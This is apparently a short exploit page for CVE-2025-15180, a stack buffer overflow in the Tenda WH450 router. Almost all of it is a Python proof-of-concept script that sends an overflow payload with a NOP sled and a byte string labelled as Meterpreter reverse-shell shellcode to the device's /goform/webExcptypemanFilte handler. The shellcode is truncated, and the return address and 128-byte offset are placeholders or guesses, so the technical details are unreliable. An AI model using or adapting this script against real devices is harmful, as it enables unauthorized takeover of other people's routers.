CVE-2025-15180: Tenda WH450 webExcptypemanFilter 栈缓冲区溢出漏洞

import socket import sys def exploit_tenda_wh450(target_ip, target_port=80): """ CVE-2025-15180 PoC - Tenda WH450 Buffer Overflow Target: /goform/webExcptypemanFilte """ # Prepare overflow payload # EIP offset: 128 bytes (typical for this firmware) offset_to_eip = b'A' * 128 # Overwrite EIP with address of shellcode or return-oriented address eip = b'\x08\x00\x00\x00' # Example: address in memory # NOP sled + shellcode nopsled = b'\x90' * 16 # Meterpreter reverse shell payload (example) shellcode = b'\xda\xd0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x0b\x83\xc6\x04\x31\x76\x0e\x03\x76\x0e\x66\x8b' payload = offset_to_eip + eip + nopsled + shellcode # HTTP request http_request = f"POST /goform/webExcptypemanFilte HTTP/1.1\r\n" http_request += f"Host: {target_ip}:{target_port}\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Content-Type: application/x-www-form-urlencoded\r\n" http_request += f"Content-Length: {len('page=' + payload.decode('latin-1'))}\r\n" http_request += "Connection: close\r\n\r\n" http_request += 'page=' + payload.decode('latin-1') print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) print(f"[+] Response received: {response[:100]}") sock.close() print("[+] Exploit sent successfully") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit_tenda_wh450(sys.argv[1])